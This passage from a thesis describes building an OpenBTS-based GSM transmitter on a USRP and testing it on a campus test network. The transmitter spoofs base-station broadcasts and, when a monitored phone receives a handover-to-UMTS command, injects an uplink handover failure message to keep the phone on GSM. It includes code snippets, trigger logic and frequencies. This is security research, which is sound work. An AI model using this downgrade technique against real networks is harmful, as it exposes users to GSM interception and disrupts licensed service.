completing a handover from a GSM to a UMTS network. Without the ability to hand 

over to the UMTS network, a mobile device must continue to communicate on the GSM 

network leaving it vulnerable to the security issues described in Chapter II. The proposed 

vulnerability warrants testing, which requires the creation of a device capable of 

receiving a handover to UTRAN message and transmitting a handover failure message. 

The system requirements for such a device were proposed in this chapter along with the 

schematic diagram of an open source GSM transmitter. 
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IV. GSM TRANSMITTER 

As explained in Chapter III, the GSM transmitter we designed uses a 

conglomeration of C++ functions from the OpenBTS project to transmit any user defined 

RR message [1]. The main source code of our GSM transmitter can be used to transmit a 

GSM RR message on any SDR, but our code is optimized to run on the N210 USRP. The 

GSM transmitter’s main functions, sub-functions, and signal processing flow are 

described in this chapter. 

A. BURST CREATOR 

The Burst Creator block shown in Figure 14 uses five sub-functions to transform 

a 184 bit LAPDm frame holding a RR message in binary MSB first format to four GSM 

TDMA time slot bursts ready for modulation. The Burst Creator sub-functions and their 

procedural flow are depicted in Figure 15. Throughout the burst creation process, a vector 

type called BitVector is used to store arrays of bits as character strings. This vector 

type is defined in the OpenBTS files BitVector.h and BitVector.cpp [1]. 

 

Figure 15.  Schematic diagram showing the Burst Creator sub-functions. 

1. Bit Ordering 

When a RR message is packaged into a LAPDm frame, the bit ordering has the 

MSB first. Since the MSB first format cannot be used by follow-on functions, the 

LSB8MSB function is used in the Bit Ordering sub-function displayed in Figure 15 to fix 

the ordering of bits by reversing every octet’s bit order. It is shown in Figure 16 how the 

LSB8MSB function converts BitVector mD, from MSB first to least significant bit 

(LSB) first. 
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Figure 16.  Example of LSB8MSB() function converting the bit ordering from MSB first 
to LSB first. 

2. Fire Coder 

The computation of a 40 bit parity code on a properly ordered LAPDm frame 

containing a RR message is accomplished next in the sub-function block Fire Coder 

shown in Figure 15. This sub-function block computes 40 parity bits identical to the 

block coder described in Chapter II by executing the following computer code: 

 uint64_t wCoefficients = 0x10004820009ULL; 
 unsigned wParitySize = 40; 
 unsigned wCodewordSize = 224; 
 Parity mBlockCoder(wCoefficients, wParitySize,   
  wCodewordSize); 
 BitVector mP(40); 
 mBlockCoder.writeParityWord(mD, mP); 
 BitVector mU(mD, mP); 
 BitVector mUT(mU, mT); 
 

where the first line of code defines the coefficients of the generator polynomial. A 

graphic depiction is shown in Figure 17 of how the hexadecimal numbers stored in 

variable wCoefficients are equivalent to g(D), the generator polynomial from 

Equation (1). The second and third computer code lines contained in the Fire Coder sub-

function define the parity size and overall code word length that the block coder 

calculates. The block coder is instantiated in the Fire Coder sub-function block in line 

four using the previously defined coefficients and sizes in lines one through three. Line 

five of the Fire Coder sub-function code creates BitVector mP, which is used by the 

function writeParityWord in line six to store the 40 calculated parity bits. The 

function writeParityWord computes the 40 parity bits by dividing mD, the 184 data 

bits from sub-function Bit Ordering by Equation (1), the stored value in 

wCoefficients. The parity bit calculation is shown in Figure 18. 
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Figure 17.  Graphic depiction of how the hexadecimal numbers stored in variable 
wCoefficients are equivalent to g(D), the generator polynomial from 

Equation (1). 

 

Figure 18.  Graphical depiction of the parity bit calculator used in the GSM transmitter 
Fire Coder sub-function. 

After the computation of the parity bits, the data bits, parity bits and four tail bits 

are concatenated together with the execution of line seven and eight of the code within 

the Fire Coder sub-function block. The end result of the Fire Coder sub-function block is 

a BitVector mUT that holds a 228 bit string with the bit positions representing the 

same bits as the Output Bit Vector from Equation (3). 

The code computing the ten parity bits for the synchronization burst is similar to 

the code contained in the Fire Coder sub-function block except the wCoefficients 

variable is set to the hexadecimal representation of the generated polynomial from 

Equation (2). Also mD, the input data bit string shown in Figure 18, contains only 25 bits, 

and the parity BitVector mP is only 10 bits in length. 
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3. Convolution Encoder 

After block encoding, the 228 bits stored in mUT are convolved using a ½-rate 

convolution encoder identical to the one described in Chapter II and shown in Figure 11, 

which results in 456 encoded bits ready for interleaving and burst mapping. The ½-rate 

convolution encoder implemented in the sub-function block Convolution Encoder seen in 

Figure 15 contains the following computer code: 

 const ViterbiR2O4 mVCoder; 
 BitVector mC(2*mUT.size()); 
 mUT.encode(mVCoder, mC); 

where the ½-rate convolution encoder mVCoder, created in line one, is represented in 

Figure 19 as shift registers. The shift register taps displayed in Figure 19 are generated 

using Equations (4) and (5) described in Chapter II. After initialization of mVCoder, 

encoding of the bits stored in mUT begins with the execution of function encode in line 

three of the Convolution Encoder sub-function block. The encode function passes the 

input bits, mUT, through the ½-rate convolution encoder, mVCoder, and stores the newly 

created bits in variable mC. The 465 encoded bits stored in mC are now ready for the 

Interleaver sub-function. 

 

Figure 19.  The shift registers representation of the ½-rate convolutional encoder created 
by the Convolution Encoder sub-function. 

4. Interleaver 

The process executed within the sub-function block titled Interleaver seen in 

Figure 15 mimics the interleaving process described in Chapter II. The Interleaver sub-
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function block receives the bits stored in mC, the variable holding the 456 bits outputted 

by the code in Convolution Encoder sub-function block, and re-arranges the bits into four 

bursts of 114 bits long using the following computer code: 

for (int k=0; k<456; k++) { 
 int B = k%4; 
 int j = 2*((49*k) % 57) + ((k%8)/4); 
 mI[B][j] = mC[k]; 
} 

where mI is the array storing the four newly created interleaved bursts. A graphical 

depiction of how the computer code within the Interleaver sub-function block takes the 

encoded bits and places them into mI is shown in Figure 20. 

 

Figure 20.  The Interleaver sub-function processing diagram showing the interleaving of 
bit number 449. 

5. Burst Mapping 

The Burst Mapping sub-function displayed in Figure 15 takes the four bursts 

created by the Interleaver sub-function and produces four GSM TDMA time slot bursts 

through the execution of the following computer code: 



 34

 Tail_Bits.copyToSegment(mBurst0,0); 
 mI[0].segment(0,57).copyToSegment(mBurst0,3); 
 mI[0].segment(57,57).copyToSegment(mBurst0,88); 
 Training_Seq.copyToSegment(mBurst0,61); 
 Stealing_Bit.copyToSegment(mBurst0,60); 
 Tail_Bits.copyToSegment(mBurst0,145); 

on each interleaved burst separately. The result of the Burst Mapping sub-function code 

is the creation of four unencrypted GSM TDMA time slot bursts with the structure of 

mBurst0 shown in Figure 21 and identical to the normal burst structure shown in  

Figure 5. 

 

Figure 21.  Procedure of converting interleaved burst mI[0] to GSM TDMA time slot 
Burst 0. 

B. BURST MODULATOR 

The burst modulation process consists of four stages that transform the raw bits of 

a GSM TDMA time slot burst produced by the Burst Creator function and converts the 

bursts into in-phase and quadrature phase symbols ready for transmission to the USRP 

over an Ethernet cable. The sub-functions contained within the Burst Modulator are 

shown in Figure 22. 

 

Figure 22.  Schematic diagram showing the Burst Modulator sub-functions. 
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1. Modulator 

The first sub-function within the Burst Modulator function schematic diagram 

shown in Figure 22 is called Modulator, which converts the one and zero bits coming 

from the Burst Creator function into a modulated burst ready for transmission at the GSM 

sample rate of 270.833 kHz. The Modulator sub-function accomplishes the modulation 

process using a single line of computer code: 

 signalVector* modBurst = modulateBurst(TDMA_burst[0],  
  *gsmPulse, 8 + (i % 4 == 0), samplesPerSymbol) 
 

where the modulateBurst function initiates the execution of the three tasks shown in 

Figure 22: Non-Return to Zero (NRZ) Converter, Burst Rotator, and Burst Shaper . The 

GSM TDMA time slot burst crafted by the Burst Creator function is first converted from 

bit values zero and one to symbols ( 1 ) in the NRZ Converter task. Next, the symbols 

are transformed to in-phase and quadrature phase representations of the original symbols 

while simultaneously being differentially encoded in the Rotate Burst task. Since the 

rotation procedure conducted in the Rotate Burst task depends on the previous symbol as 

shown in Table 3, the differential encoding process discussed in Chapter II is properly 

accomplished. A graphical depiction of the effects of processing a GSM TDMA time slot 

burst through the NRZ Converter and Burst Rotator tasks is shown in Figure 23 for a 

synchronization burst. 

Table 3.   Rotational direction of a GSM TDMA time slot burst symbol derived from 
the previous and current symbols. 

Previous Symbol Current Symbol Rotation By π/2 

1 1 Counter-Clockwise Rotation 

1 +1 Clockwise Rotation 

+1 +1 Counter-Clockwise Rotation 

+1 1 Clockwise Rotation 
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Figure 23.  Graphical depiction of a synchronization burst converted to a NRZ signal 
using NRZ Converter task and then rotated using the Burst Rotator task. 

After the Burst Rotator task, the in-phase and quadrature phase components are 

convolved with a Gaussian pulse during the Burst Shaper task. The Gaussian pulse is 

created through execution of computer code: 

 signalVector *gsmPulse = 
  generateGSMPulse(symbol_length, 
  mSamplesPerSymbol); 

where the Gaussian pulse, created by the function generateGSMPulse with variable 

symbol_length and mSamplesPerSymbol equaling two and one, respectively, is 

shown in Figure 24. The magnitude values of W and Z, the pulses contained within the 

Gaussian pulse plot shown in Figure 24, are 0.182762 and 0.966021, respectively. A 

graphical depiction of the effects of the convolution process on a rotated synchronization 

burst with the Gaussian pulse is also depicted in Figure 24. At the end of the Burst Shaper 

sub-function process, a signal vector is formed representing the in-phase and quadrature 

phase components of the GSM TDMA time slot ready for amplitude scaling. 
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Figure 24.  Graphical representation of the effects of convolving the in-phase and 
quadrature phase samples from the Burst Rotator task with a Gaussian pulse. 

2. Burst Scalar 

The next stage of the Burst Modulator function, Burst Scalar, increases the 

amplitude of the modulated GSM TDMA time slot burst through the multiplication of the 

signal by 9600, the default value used by OpenBTS [1]. This scaling factor allows the 

software to dynamically change the amplitude of the signal without having to change the 

gain factor configured on the USRP. The ability to dynamically change the signal 

amplitude allows the transmitter to match the power required to transmit the GSM 

TDMA time slot burst from the USRP to the BTS. The code contained within the Burst 

Scalar task block is: 

 scaleVector(*modBurst,fullScaleInputValue); 

where the variable fullScaleInputValue equals 9600. 
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3. Table Filler 

The code contained within the Table Filler sub-function of the Burst Modulator 

function places the scaled GSM TDMA time slot bursts into the correct time slot of a 

TDMA frame as shown in Figure 25 for a scaled synchronization burst. The array created 

in the Table Filler sub-function represents the mapping of logical GSM channels to 

physical GSM channels as described in Chapter II and shown in Figure 6. If the GSM RR 

message contains four bursts, then the table filler array only requires four TDMA frames; 

however, if the GSM transmitter is attempting to mimic a BTS, then 102 frames are 

required. As described in Chapter II and shown in Figure 8, the SDCCH channel burst 

mapping is based on two multi-frame cycles requiring 102 TDMA frames. As a result, 

102 frames are needed in the table filler array. Despite the number of TDMA frames in 

the table filler array, it always contains eight time slots to account for the eight time slots 

per TDMA frame. Also, any time slot not containing a specific burst is filled with the 

dummy burst shown in Figure 5. The GSM TDMA time slot bursts in the table filler 

array are ready for transmission at the GSM symbol rate. 

 

Figure 25.  Graphical illustration of the process of GSM TDMA time slot table filling. 
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4. Re-sampler 

The Re-sampler sub-function process within the Burst Modulator function 

schematic diagram shown in Figure 22 corrects the GSM symbol rate in preparation for 

signal transmission using the N210 USRP. The non-configurable 100 MHz clock 

employed for timing by the N210 USRP makes it impossible for that model of USRP to 

transmit a GSM TDMA time slot burst at the sample rate of 270.833 kHz. In addition to 

the USRP clocking issue, a GSM TDMA time slot burst length is not 156 bits but rather 

156.25 bits. Therefore, our code must account for the extra symbol every four GSM 

TDMA time slot bursts. The Re-sampler sub-function corrects both issues mentioned 

with the use of three tasks: Concatenate Burst, Filter Burst, and Type Conversion. The 

extra 0.25 symbols per burst is fixed by the Concatenate Burst task, which joins four 

bursts together, three bursts with 156 symbols and one burst with 157 symbols. The two 

different burst lengths are created during the Modulate sub-function block by providing 

the modulateBurst function with the needed number of guard bits to create the 

desired burst length. Next, a polyphase re-sampler is used during the Filter Burst task to 

change the sample rate from 270.833 kHz to 400 kHz. The computer code conducting the 

filtering process is defined in the OpenBTS signal processing library, which is initialized 

with the computer code: 

 sigProcLibSetup(samplesPerSymbol); 

where the variable samplesPerSymbol equals one [1]. 

The combination of the Concatenate Burst task and Filter Burst task results in a 

new burst vector, which when transmitted at 400 kHz mimics the characteristics of the 

GSM TDMA time slot bursts, the output from the Table Filler sub-function, and 

transmitted at 270.833 kHz. A graphical representation of the Concatenate Burst task 

followed by the Filter Burst task is shown in Figure 26. 
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Figure 26.  Graphical portrayal of the GSM TDMA time slot burst re-sampling process conducted by the Re-sampler sub-function 
block where (a) shows the procedure contained within the Concatenate Burst task, (b) displays the poly-phase filter used 

in the re-sampling, and (c) illustrates the effect of the Filter Burst task on the concatenated bursts. 

 



 41

The last task within the Re-Sample sub-function is Type Conversion, which 

changes the C++ type float to C++ type short. During all the Burst Modulator sub-

functions until the Type Conversion task, all in-phase and quadrature phase samples are 

of C++ type float, which means each phase sample is consisting of four bytes. These in-

phase and quadrature phase samples are converted to C++ type short, which consists of 

only two bytes for each phase sample. This decrease in byte size used to represent each 

sample allows the packaging of twice as many samples into the IP packets sent to the 

USRP over an Ethernet cable. The end result of the type conversion is faster arrival rates 

of samples at the USRP. 

C. BURST TRANSMITTER 

The Burst Transmitter function takes the in-phase and quadrature phase samples 

from the Re-sampler sub-function and packages them into packets for transmission over 

the Ethernet cable connecting the computer to the USRP. Once the IP packets reach the 

USRP, the onboard digital up converter (DUC) interpolates the digital signal and 

transitions the signal from digital to analog through the use of a 16-bit digital-to-analog 

converter (DAC). Finally, the DAC output is filtered to prevent aliasing, amplified, and 

transmitted as an analog waveform [21], [22]. 

1. USRP Initialization Coding 

Prior to any modulation or transmission of any GSM TDMA time slot burst, our 

code must first initiate communication with the USRP. The code establishing initial 

communication and setting the starting parameters for the USRP is: 

 uhd::usrp::multi_usrp::sptr usrp; 
 usrp = uhd::usrp::multi_usrp::make(args); 
 uhd::stream_args_t stream_args;  
 stream_args.cpu_format = “sc16”; 
 uhd::tx_streamer::sptr tx_stream = usrp-> 
  get_tx_stream(stream_args); 
 usrp->set_tx_rate(tx_sample_rate); 
 double actual_tx_rate = usrp->get_tx_rate(); 
 usrp->set_tx_gain(tx_gain); 
 uhd::tune_result_t tr = usrp->set_tx_freq(tx_freq); 
 double actual_tx_freq = usrp->get_tx_freq(); 
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 usrp->set_tx_antenna(ant); 

where the values used for variables tx_sample_rate, tx_gain, tx_freq, and 

ant used for testing our GSM transmitter code are displayed in Table 4. The reason for 

the two different frequencies for the tx_freq variable is because we test our GSM 

transmitter code by sending messages on both an uplink and downlink channel. The 

particular downlink and uplink frequencies shown in Table 4 equate to the absolute radio-

frequency channel number (ARFCN) 17 for the downlink and ARFCN 3 for the uplink. 

The Naval Postgraduate School (NPS) test range BTS uses ARFCN 3; therefore, we 

chose that same channel for the uplink so we could attempt to have our transmitter code 

send RR messages to the NPS BTS. We chose ARFCN 17 for the uplink in order to 

minimize interference with the NPS BTS. After the initialization of the USRP, samples 

can be transmitted from the computer to the USRP over the Ethernet connection. 

Table 4.   USRP variables and their values used during testing of GSM transmitter. 

GSM Transmitter USRP Variables GSM Transmitter USRP Variable Values 

tx_sample_rate 400 kHz 

tx_gain 15 dB 

tx_freq Downlink Channel = 938.4 MHz 

Uplink Channel = 890.6 MHz 

Ant “TX/RX” 

 

2. Transmission Coding 

The code, within the Burst Transmitter sub-function called Ethernet, which 

packages up the in-phase and quadrature phase samples and transmits the packets over 

the Ethernet connection is: 

 size_t num_tx_samps = tx_stream->  
  send(smpls_out + 192 * 2, num_resmpl – 192, 
  md, uhd::device::SEND_MODE_FULL_BUFF) 

where the first variable input to the function send identifies the starting location within 

the array of complex samples coming from the Burst Modulator function that is sent to 
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the USRP. The second variable input to the function send identifies how many complex 

samples from the starting location are sent to the USRP. The purpose for the offset in the 

start of the first sample is because the Re-sampler sub-function uses the last 384 samples 

from the previously re-sampled concatenated bursts as input into the next newly created 

burst. Since those 384 samples were previously transmitted, an offset is introduced prior 

to sending the samples to the USRP. The SEND_MODE_FULL_BUFF input to the 

function send in the Ethernet sub-function code informs the computer to fragment the 

received samples for transmission to the USRP into the maximum sized packets in order 

to minimize delay between the computer and USRP [21]. 

Once the packaged complex signal reaches the USRP, it is de-interleaved by the 

field-programmable gate array (FPGA) in order to separate the in-phase and quadrature 

phase components. Next, the individual phase components are digitally up-converted 

converted to an analog signal and filtered in parallel. Finally, the signals are mixed to the 

desired carrier frequency. A schematic of the signal flow through the USRP is shown in 

Figure 27 [23]. 

 

Figure 27.  Block diagram showing the process flow of in-phase and quadrature phase 
samples though the USRP transmitter (after [23]). 

A concise overview of all of the processes, sub-processes and tasks contained in 

our GSM transmitter shown in Figure 15 was described in this chapter. First, we 

described the Burst Creator block computer code, which transforms the 184 bit LAPDm 

frame into four GSM TDMA time slot bursts ready for modulation. Next, we explained 

the Burst Modulator block computer code and showed the procedure of transforming a  

 



 44

GSM TDMA time slot burst into a re-sampled burst ready for the USRP to transmit at the 

sample rate of 400 kHz. Finally, we explored the process the complex samples undergo 

after entering the USRP. 
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V. TESTING AND EVALUATION 

The testing of the proposed GSM transmitter first requires a GSM receiver 

capable of collecting, demodulating, and decoding a GSM message. Currently, the GSM 

receivers with the aforementioned capabilities require a GSM transmitting device to 

modulate all the bursts a BTS sends over its BCH because the GSM receivers 

synchronize in time and frequency with the frequency correction bursts and 

synchronization bursts prior to decoding any other messages. We demonstrate that our 

GSM transmitter code properly transmits a GSM burst by first configuring the GSM 

transmitter code to broadcast all the messages sent over a BTS BCH. Next, we test the 

handover failure message transmission to validate that the message is encoded and 

transmitted correctly by the GSM transmitter we developed. Finally, we implement a 

queuing process within our code to trigger the sending of a handover failure message 

after a handover to UTRAN message is received. 

The equipment used in this thesis to create and evaluate the proposed GSM 

transmitter includes: (i) a fully functioning GSM/UMTS network, (ii) the ASCOM TEMS 

GSM/UMTS message collection equipment, (iii) an Agilient Technologies Signal 

Analyzer, (iv) a Samsung Galaxy S2 smart phone and (v) Ettus N210 and B100 USRPs. 

The GSM/UMTS network consists of a GSM BTS and a UMTS Node B, which are both 

located on the NPS campus but connected to a BSC, RNC and MSC positioned at the 

Yuma Proving Ground. This NPS GSM/UMTS heterogeneous network provided us a 

fully functioning and commercial-equivilent network capable of UTRAN handovers. 

The ASCOM TEMS GSM/UMTS message collection equipment gives us the 

ability to collect and decode any GSM/UMTS layer two/three message, which we used to 

correctly format GSM messages for the GSM transmitter to send. We also utilized the 

Agilient Technologies Signal Analyzer to test that the USRP was transmitting at the 

correct center frequency. The Samsung Galaxy S2 smart phone was used to collect the 

Inter System to UTRAN handover command from the NPS BTS and pass it to the GSM 

transmitter. Finally, the N210 USRP was used as the transmitter for the GSM transmitter 
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code we developed, and the B100 USRP was utilized as the GSM receiver that collected 

the messages sent by the GSM transmitter. 

A. BTS TRANSMISSION OF BCH 

The first proof-of-concept test involves transmitting the BCH and CCCH 

messages shown in Figure 7. The devices available for GSM collection initialize all 

collection off the frequency correction bursts and synchronization bursts. If a known 

GSM collection device properly demodulates and decodes the broadcast messages 

coming from our GSM transmitter code, then we have demonstrated the capability of our 

GSM transmitter to correctly encode and modulate a GSM burst. 

1. Code Creation 

The code for the GSM transmitter must contain the ability to transmit the 

frequency correction bursts, synchronization bursts, dummy bursts, and normal bursts in 

order to successfully transmit the BCH and CCCH messages. All the aforementioned 

burst types are modulated, re-sampled and transmitted as discussed in Chapter IV, but 

only the normal burst uses Equation (1) as its generator polynomial in the block coding 

process described in Chapter IV. The frequency correction bursts and dummy bursts are 

not block coded, and the synchronization burst uses 1( )g D  from Equation (2) as its 

generated polynomial. The C++ computer code generated for this experiment is shown in 

Appendix B. 

2. Setup 

Prior to transmitting any GSM burst, we identified and created the BCCH 

message bursts and the PCH bursts. We also found a GSM receiver capable of 

demodulating and displaying the received messages from our GSM transmitter. The GSM 

receiver we chose is Airprobe’s GSM-receiver. 

a. ASCOM TEMS GSM Message Collection 

The creation of properly formatted System Information Type 1, 2, 

2quarter, 3 and 4 RR messages to transmit on the BCCH was a requirement because 
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Airprobe’s GSM-receiver needs properly formatted messages to correctly reassemble the 

contents. We used ASCOM TEMS Investigation hardware and software to collect the 

Type 1, 2, 2quarter, 3 and 4 RR messages sent over the NPS GSM lab BTS BCH. The 

collection of a System Information Type 1 RR message sent over the NPS GSM BTS 

BCH is shown in Figure 28. Additionally, we collected PCH messages from the NPS 

GSM BTS using the ASCOM TEMS equipment to transmit in the CCCH time slots. 

 

Figure 28.  Example capture of ASCOM TEMS message collection equipment capturing 
(a) the System Information Type 1 RR message, and (b) the message contents 

of the System Information Type 1 RR message. 

b. Airprobe’s GSM-receiver  

Next, we needed to find a GSM receiver capable of collecting our GSM 

transmitter and providing viewable results. To accomplish this task we chose Airprobe’s 

GSM-receiver software coupled with Wireshark as the message viewing software and the 

B100 USRP as the radio frequency collection device. We chose Airprobe’s GSM-

receiver because it displays all the received transmitted messages, while comparable 
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TEMS equipment only displays the messages sent to the phone. The B100 USRP was 

used instead of the N210 USRP because the B100 USRP has a configurable clock and 

Airprobe’s GSM-receiver software requires a 52 MHz clock. 

c. Experiment Setup 

The experiment was setup with the GSM transmitter, Airprobe’s GSM-

receiver, and Wireshark software simultaneously running on the same computer; 

however, the transmitter and receiver codes controlled different USRPs. Airprobe’s 

GSM-receiver controlled the B100 USRP, which was approximately three feet away from 

the GSM transmitter controlled N210 USRP. We executed Airprobe’s GSM-receiver 

code first followed by the GSM-transmitter code. A photograph of the setup is shown in 

Figure 29. 

 

Figure 29.  Photograph of the experimental setup used for testing the GSM transmitter 
code sending mimicked GSM BTS messages to Airprobe’s GSM-receiver. 

3. Results 

Since Airprobe’s GSM-receiver was configured to collect and output all GSM 

messages to Wireshark, all collected message data is displayed in Wireshark. The 



 49

transmitted signals were collected using both GNU Radio and a signal analyzer. The 

GNU Radio collected the signal enroute to the USRP, while the signal analyzer collected 

the signal after USRP transmission. 

a. GNU Radio Collection 

To ensure the GSM transmitter is transmitting the correct signal, we 

collected the signal at baseband prior to sending the samples to the USRP. It can be seen 

in Figure 30 that the GSM transmitter is correctly modulating the signal because the 

frequency plot shows a spike at 67.7 kHz above the center frequency, which represents 

the transmission of the FCCH burst as discussed in Chapter II. Additionally, it can be 

seen in Figure 31 that the FCCH burst is correctly modulated because a sine wave is seen 

prior to the dummy burst. 

 

Figure 30.  Frequency spectrum plot collected by GNU Radio of the baseband signal 
created by the GSM transmitter code mimicking the GSM BTS BCH prior to 

USRP transmission. The blue signal shows the instantaneous frequency 
spectrum while the green signal is the peak collected signal. 

b. Signal Analyzer Collection 

After validating that the GSM transmitter is properly modulating the re-

sampled burst, we verified that the USRP is properly up-converting the baseband signal 
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to the desired carrier frequency. As seen in Figure 32, the collected over-the-air signal 

from the N210 USRP has the center frequency of 938.4 MHz, which matches the 

downlink tx_freq in Table 4. 

 

Figure 31.  A scope plot collected by GNU Radio of the in-phase samples, in blue (Ch 1), 
and quadrature phase samples, in green (Ch 2), created by the GSM 

transmitter to mimic a GSM BTS BCH. 

 

Figure 32.  Signal analyzer frequency spectrum collection showing the carrier center 
frequency of the GSM transmitter’s modulated samples transmitter using the 

N210 USRP. 
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c. Wireshark Collection 

Finally, we validated that the GSM transmitter is correctly encoding and 

modulating the GSM bursts by collecting the transmitted signal using an B100 USRP, 

demodulating the signal with Airprobe’s GSM-receiver software, and displaying the 

results in Wireshark. We anticipated the first System Information Type 1 RR message 

transmitted over the BCH to have frame number five, the first System Information Type 

2 RR message transmitted over the BCH to have frame number 56, and the first System 

Information Type 3 RR message transmitter over the BCH to have frame number 107 

because that was their order of transmission. As explained in Chapter II and shown in 

Figure 7, the BCH/CCCH frame structure repeats every 51 frames; therefore, all BCCH 

messages are separated by 51 frames. If Airprobe’s GSM-receiver software collects and 

decodes the System Information Type 1, Type 2, and Type 3 bursts with their frame 

numbers and hexadecimal data values equaling the expected values, then we have 

demonstrated that our GSM transmitter works. The successful reception of all three 

System Information Type RR messages is shown in Figure 33, Figure 34, and Figure 35. 

All three System Information Type RR messages were received with the correct frame 

number and contents correctly collected and decoded. 

 

Figure 33.  A screen capture showing System Information Type 1 RR message with frame 
number five collected using Airprobe’s GSM-receiver and displayed in 

Wireshark. 
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Figure 34.  A screen capture showing System Information Type 2 RR message with frame 
number 56 collected using Airprobe’s GSM-receiver and displayed in 

Wireshark. 

 

Figure 35.  A screen capture showing a System Information Type 3 RR message with 
frame number 107 collected using Airprobe’s GSM-receiver and displayed in 

Wireshark. 
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B. HANDOVER FAILURE MESSAGE TRANSMISSION 

After demonstrating the accuracy of the GSM transmitter to transmit BCH 

messages, we next tested the transmission of a handover failure message. Since 

Airprobe’s GSM-receiver is written as a GSM BTS collector, we sent the handover 

failure message over the BCH by replacing a BCCH message with the handover failure 

message. Since the handover failure message is not a typical message sent over the BCH, 

we expected Airprobe’s GSM-receiver to properly collect the message but not properly 

classify it as a handover failure message. We used the experimental setup described for 

mimicking the BTS BCH and transmitted the handover failure message displayed in 

Figure 3 and encapsulated in the type B LAPDm frame shown in Figure 4. The handover 

failure message was successfully transmitted because the hexadecimal values displayed 

in the Wireshark screen capture, shown in Figure 36, are identical to the hexadecimal 

values transmitted by our GSM transmitter code. 

 

Figure 36.  A screen shot of a Wireshark capture showing Airprobe’s GSM-receiver 
successful collection of a handover failure message where (a) is the captured 
packet using Airprobe’s GSM-receiver, (b) is the hexadecimal representation 
of the transmitted handover failure message, and (c) is the type B LAPDm 

frame structure. 
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C. QUEUEING THE HANDOVER FAILURE MESSAGE TRANSMISSION 

Now that we knew our GSM transmitter was correctly encoding and transmitting 

a GSM handover failure message, the next step was to transmit a GSM handover failure 

message after receiving a handover to UTRAN message, as explained in Chapter III. This 

task requires a device that can reliably collect a GSM handover to UTRAN message and 

queue the GSM transmitter code to transmit the handover failure message. Currently, 

Airprobe’s GSM-receiver cannot properly identify a collected RR handover to UTRAN 

message; therefore, we decided to use a Samsung Galaxy S2 phone. This model of 

Samsung phone coupled with open source debugging code from Tobias Engel called 

xgoldmon [24] results in the signal messaging received by the phone on the downlink 

channel to be sent over the phone’s universal serial bus (USB) connection to the 

computer’s loopback address. 

1. Code Creation 

The GSM transmitter code was modified in three critical areas to achieve our 

desired goal of sending a handover failure message after receiving a handover to 

UTRAN message. The first change allows the software to transmit only a GSM handover 

failure burst with the least amount of impact to any other users on the GSM network. The 

second modification allows the triggering of the software by the Samsung Galaxy S2 for 

signal transmission. The third modification included changing the tx_freq to the 

uplink frequency shown in Table 4 because we want our GSM transmitter to send the 

handover failure message to the NPS BTS. The modified GSM transmitter code for 

sending a handover failure message after receiving a handover to UTRAN message is 

included in Appendix C. 

a. Handover Failure Message Creation 

The first step in the process of sending a handover failure message is to 

create a handover failure burst and place the four modulated bursts into the fill table array 

described in Chapter IV. The difference this time is that the handover failure bursts 

occupy time slot zero, and the remaining time slots are filled with dummy bursts. Since 

the handover failure burst is only four GSM TDMA time slots long, the fill table is also 
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only four TDMA time slots in length. Next, we minimize interference with other users on 

the GSM network by only amplifying the handover failure bursts and dummy bursts 

immediately before and after the handover failure bursts. We have to amplify the 

surrounding dummy bursts because the resampling process uses those bursts in the 

resampling of the handover failure bursts. If we chose not to amplify the surrounding 

dummy burst, then the resampling process truncates the handover failure bursts. 

b. Transmission Queuing Using Packet Capture Library (PCAP) 
Code 

PCAP provides us with the ability to listen on the loopback address of the 

computer and analyze the GSM signaling messages sent from the Samsung Galaxy S2 

phone to the computer. We identify that handover to UTRAN message was received by 

the phone because the bytes in positions 122 to 126 of the message sent by the phone to 

the computer’s loopback address equate to the hexadecimal values 0663. Once our GSM 

transmitter code determines the handover to UTRAN message was received, it queues the 

transmitter section of the code to immediately modulate the handover failure message 

and transmit the bursts via the USRP. 

c. Setup 

The setup for transmission of a queued GSM handover failure message 

starts with initialization of the Samsung Galaxy S2 phone and the xgoldmon code as 

provided in Appendix A. Once the Samsung phone and xgoldmon code are running, the 

next step is to start the modified GSM transmitter code, which initializes the N210 USRP 

and begins waiting for the handover to UTRAN message. We encourage the phone to 

conduct a handover to UTRAN by initializing the phone to use only the GSM network, 

which is accomplished by changing the phone’s network configuration settings to GSM 

only. After the phone establishes connection on the GSM network, we change the 

phone’s network settings to allow connections to both the GSM and UMTS networks. 

Immediately after changing the settings and while the phone is still associated with the 

GSM network, we initiate a call on the GSM network. After call establishment, we wait 

for the network to transition the phone to the UMTS network by sending a handover to 
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UTRAN message to the phone. The experimental setup used during the testing of the 

Samsung Galaxy S2 phone triggering the modified GSM transmitter code to send a 

handover failure message is shown in Figure 37. 

 

Figure 37.  Photograph of the experimental setup used for testing the modified GSM 
transmitter code which is programed to trigger the transmission of a handover 
failure message based on the reception of a handover to UTRAN message by 

the Samsung Galaxy S2 phone. 

2. Results 

We collected the messages sent from the Samsung Galaxy S2 phone to the 

computer using Wireshark. We also collected all the burst samples created by the GSM 

transmitter and sent to the USRP for modulation using GNU Radio. Finally, we collected 

the transmitted burst from the USRP using a signal analyzer. 

a. Wireshark Collection 

Validation of the Samsung Galaxy S2 phone’s capability to receive the 

handover to UTRAN message and send it to the computer’s loopback address is displayed 

in the Wireshark capture shown in Figure 38. Since our GSM transmitter code uses the 
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PCAP library, the code was successful in identifying the occurrence of this message and 

triggering the transmission of the handover failure message. 

 

Figure 38.  A screen capture showing the Wireshark collection of a Samsung Galaxy S2 
phone receiving a handover to UTRAN RR message from its servicing BSC. 

b. GNU Radio Collection 

After establishing that the Samsung Galaxy S2 could reliably collect the 

handover to UTRAN message and that our GSM transmitter code could correctly identify 

the message while simultaneously triggering the transmission of a handover failure 

message, we next used GNU Radio to look at the transmitted bursts prior to USRP 

transmission. It is shown in Figure 39 that our GSM transmitter code successfully 

amplifies only the desired samples because only the in-phase and quadrature phase 

samples of the handover failure bursts and their surrounding dummy bursts have 

amplitude significantly greater than zero. 



 58

 

Figure 39.  Scope plot, collected by GNU Radio, of the in-phase samples, in blue (Ch 1), 
and the quadrature phase samples, in green (Ch 2), of a modulated handover 

failure message, created by the GSM transmitter code, prior to USRP 
transmission. 

c. Signal Analyzer Collection 

Finally, we validated that the USRP was successfully transmitting the 

handover failure burst at the correct carrier frequency by measuring the frequency 

spectrum during the burst transmission. The frequency spectrum collected during the 

handover failure burst, as shown in Figure 40, has the center frequency matching the 

uplink frequency displayed in Table 4 of 890.6 MHz, which is the carrier frequency used 

in our modified GSM transmitter code. 

 

Figure 40.  Signal analyzer frequency spectrum collection showing the carrier center 
frequency of a transmitted handover failure message by our modified GSM 

transmitter code after being triggered by a Samsung Galaxy S2. 
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3. Timing Issues 

Even though we successfully produced open source code that correctly 

